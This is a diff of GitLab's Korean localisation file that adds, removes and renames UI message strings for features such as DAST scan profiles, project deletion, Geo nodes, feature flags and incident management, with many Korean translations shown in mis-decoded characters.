+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7168,6 +7343,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr "ì‚¬ìš©ìž ì§€ì • 호스트네임 (ê°œì¸ ì»¤ë°‹ ì´ë©”ì¼ìš©)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "ì‚¬ìš©ìž ì •ì˜ ì•Œë¦¼ ì´ë²¤íŠ¸"
@@ -7264,6 +7442,15 @@ msgstr "파ì´í”„ë¼ì¸ ì„¤ì •ì„ ë³€ê²½í•˜ê³ , ë‚˜ì˜ íŒŒì´í”„ë¼ì¸ìƒíƒœì™€
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7457,25 +7647,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "ë°ì´í„°ê°€ ì•„ì§ ê³„ì‚°ì¤‘ìž…ë‹ˆë‹¤..."
@@ -7583,7 +7872,7 @@ msgstr ""
msgid "Default classification label"
msgstr "기본 분류 ë¼ë²¨"
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7661,12 +7950,12 @@ msgstr "삭제 "
msgid "Delete Comment"
msgstr "댓글 삭제"
-msgid "Delete Package"
-msgstr "패키지 삭제"
-
msgid "Delete Snippet"
msgstr "스니펫 삭제"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr ""
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "프로ì íŠ¸ ì‚­ì œ|프로ì íŠ¸ 저장소를 제거하지 못했습니다. ìž ì‹œ 후 다시 ì‹œë„하거나 관리ìžì—게 문ì˜í•˜ì„¸ìš”."
@@ -7742,15 +8034,24 @@ msgstr ""
msgid "Deleted"
msgstr "ì‚­ì œë¨"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr "ë¼ì´ì„¼ìŠ¤ ì‚­ì œì— ì‹¤íŒ¨í–ˆìŠµë‹ˆë‹¤."
@@ -7760,6 +8061,9 @@ msgstr "ë¼ì´ì„¼ìŠ¤ ì‚­ì œì— ì‹¤íŒ¨í–ˆìŠµë‹ˆë‹¤. ë¼ì´ì„¼ìŠ¤ë¥¼ ì°¾ì„ ìˆ˜ ì—
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr "ë¼ì´ì„¼ìŠ¤ë¥¼ 삭제하지 못했습니다. ì´ ìž‘ì—…ì„ ìˆ˜í–‰í•  ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤."
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7804,6 +8115,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7822,6 +8136,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,13 +8454,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8266,7 +8583,10 @@ msgstr ""
msgid "Detect host keys"
msgstr "호스트 키 발견"
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8275,6 +8595,9 @@ msgstr "diff 컨í…츠 제한"
msgid "Diff limits"
msgstr "Diff 제한"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8287,7 +8610,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr "사용가능한 íŒŒì¼ ì´ë¦„ì´ ì—†ìŠµë‹ˆë‹¤."
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8392,9 +8718,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr "토론"
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8408,7 +8731,7 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8660,9 +8983,6 @@ msgstr ""
msgid "Edit comment"
msgstr "댓글 편집"
-msgid "Edit dashboard"
-msgstr "대시보드 편집"
-
msgid "Edit description"
msgstr "설명 편집"
@@ -8951,9 +9271,6 @@ msgstr "2단계 ì¸ì¦ 활성화"
msgid "Enable usage ping"
msgstr "ping 사용 활성화"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9122,6 +9439,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9146,7 +9466,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9425,6 +9745,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr "ëª¨ë‘ í™•ìž¥"
msgid "Expand approvers"
msgstr "승ì¸ìž 확장"
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "사ì´ë“œë°” 확장"
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr ""
msgid "Expiration date"
msgstr "만료ì¼"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr "만료ë¨"
@@ -10257,12 +10571,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10347,6 +10667,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10356,9 +10679,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10623,6 +10946,9 @@ msgstr "글꼴 색"
msgid "Footer message"
msgstr "바닥글 메시지"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10794,30 +11120,15 @@ msgstr "노드가 실패하거나 깨졌습니다."
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr "ì²´í¬ì„¬ë¨"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr "ë°ì´í„° 복제 지연"
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "ë§ˆìŠ¤í„°ì˜ ìŠ¤í† ë¦¬ì§€ 구성과 ì¼ì¹˜í•˜ì§€ 않습니다."
-msgid "GeoNodes|Failed"
-msgstr "실패"
-
msgid "GeoNodes|Full"
msgstr "ì „ì²´"
@@ -10833,12 +11144,6 @@ msgstr "ìš´ì˜ ìƒíƒœ"
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "커서로 ì²˜ë¦¬ëœ ë§ˆì§€ë§‰ ì´ë²¤íŠ¸ ID"
@@ -10866,12 +11171,6 @@ msgstr "노드가 성공ì ìœ¼ë¡œ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤."
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr "ì²´í¬ì„¬ ë˜ì§€ ì•ŠìŒ"
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10893,15 +11192,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "저장소"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr "ë™ê¸°í™” 설정"
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr "미확ì¸"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr "확ì¸ë¨"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "위키 í™•ì¸ ì§„í–‰"
-
-msgid "GeoNodes|Wikis"
-msgstr "위키"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr "í™•ì¸ ì‹¤íŒ¨- %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "스케줄러 대기 중"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,7 +11624,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11454,7 +11741,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr "%{link_to_google_takeout}ë¡œ ì´ë™í•˜ì‹­ì‹œì˜¤."
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "%{group} ë‚´ì˜ í”„ë¡œì íŠ¸ë¥¼ 다른 ê·¸ë£¹ì— ê³µìœ í•  수 없게 합니다."
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12225,6 +12518,9 @@ msgstr "헬스 정보는 다ìŒì˜ 경로를 통해 조회할 수 있습니다.
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "엑세스 토í°: "
@@ -12240,6 +12536,9 @@ msgstr "비정ìƒ"
msgid "Hello there"
msgstr "안녕하세요!"
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "ë„움ë§"
@@ -12368,6 +12667,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12677,6 +12985,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12692,6 +13003,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,13 +13018,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "고급 Global 검색과 GitLab Enterprise Edition ì„ í†µí•´ ê²€ìƒ‰ê¸°ëŠ¥ì„ í–¥ìƒì‹œí‚¤ì„¸ìš”."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12719,21 +13033,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -12905,6 +13231,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -12918,8 +13247,8 @@ msgstr[0] "ì¸ìŠ¤í„´ìŠ¤"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
-msgstr "ì¸ìŠ¤í„´ìŠ¤ 통계 가시성"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,7 +13325,7 @@ msgstr "주기 패턴"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13005,9 +13337,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr "유효하지 ì•Šì€ URL"
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr "ì´ìŠˆ"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "ì´ìŠˆ ë³´ë“œ"
@@ -13242,9 +13616,6 @@ msgstr ""
msgid "Issues"
msgstr "ì´ìŠˆ"
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr "JiraService | 비밀번호 ë˜ëŠ” API 토í°"
